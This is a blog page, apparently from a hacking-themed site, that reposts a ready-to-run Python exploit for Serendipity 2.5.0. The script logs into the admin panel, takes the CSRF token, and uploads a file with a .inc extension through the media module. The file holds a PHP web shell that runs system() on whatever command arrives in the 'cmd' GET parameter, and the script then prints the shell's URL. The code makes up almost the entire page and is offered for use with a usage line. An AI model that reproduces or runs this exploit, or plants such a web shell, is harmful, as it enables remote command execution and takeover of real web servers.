Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86390273

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Serendipity 2.5.0 - Remote Code Execution (RCE)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 26.04.2024
# Vendor Homepage: https://docs.s9y.org/
# Software Link:https://www.s9y.org/latest
# Tested Version: v2.5.0 (latest)
# Tested on: MacOS

import requests
import time
import random
import string
from bs4 import BeautifulSoup

def generate_filename(extension=".inc"):
return ''.join(random.choices(string.ascii_letters + string.digits, k=5)) +
extension

def get_csrf_token(response):
soup = BeautifulSoup(response.text, 'html.parser')
token = soup.find('input', {'name': 'serendipity[token]'})
return token['value'] if token else None

def login(base_url, username, password):
print("Logging in...")
time.sleep(2)
session = requests.Session()
login_page = session.get(f"{base_url}/serendipity_admin.php")
token = get_csrf_token(login_page)
data = {
"serendipity[action]": "admin",
"serendipity[user]": username,
"serendipity[pass]": password,
"submit": "Login",
"serendipity[token]": token
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Referer": f"{base_url}/serendipity_admin.php"
}
response = session.post(f"{base_url}/serendipity_admin.php", data=data,
headers=headers)
if "Add media" in response.text:
print("Login Successful!")
time.sleep(2)
return session
else:
print("Login Failed!")
return None

def upload_file(session, base_url, filename, token):
print("Shell Preparing...")
time.sleep(2)
boundary = "---------------------------395233558031804950903737832368"
headers = {
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Referer": f"{base_url}
/serendipity_admin.php?serendipity[adminModule]=media"
}
payload = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[token]\"\r\n\r\n"
f"{token}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[action]\"\r\n\r\n"
f"admin\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[adminModule]\"\r\n\r\n"
f"media\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[adminAction]\"\r\n\r\n"
f"add\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"serendipity[userfile][1]\";
filename=\"{filename}\"\r\n"
f"Content-Type: text/html\r\n\r\n"
"<html>\n<body>\n<form method=\"GET\" name=\"<?php echo
basename($_SERVER['PHP_SELF']); ?>\">\n"
"<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input
type=\"SUBMIT\" value=\"Execute\">\n"
"</form>\n<pre>\n<?php\nif(isset($_GET['cmd']))\n{\nsystem($_GET['cmd']);\n}
\n?>\n</pre>\n</body>\n</html>\r\n"
f"--{boundary}--\r\n"
)

response = session.post(f"{base_url}
/serendipity_admin.php?serendipity[adminModule]=media", headers=headers,
data=payload.encode('utf-8'))
if f"File {filename} successfully uploaded as" in response.text:
print(f"Your shell is ready: {base_url}/uploads/{filename}")
else:
print("Exploit Failed!")

def main(base_url, username, password):
filename = generate_filename()
session = login(base_url, username, password)
if session:
token = get_csrf_token(session.get(f"{base_url}
/serendipity_admin.php?serendipity[adminModule]=media"))
upload_file(session, base_url, filename, token)

if __name__ == "__main__":
import sys
if len(sys.argv) != 4:
print("Usage: python script.py <siteurl> <username> <password>")
else:
main(sys.argv[1], sys.argv[2], sys.argv[3])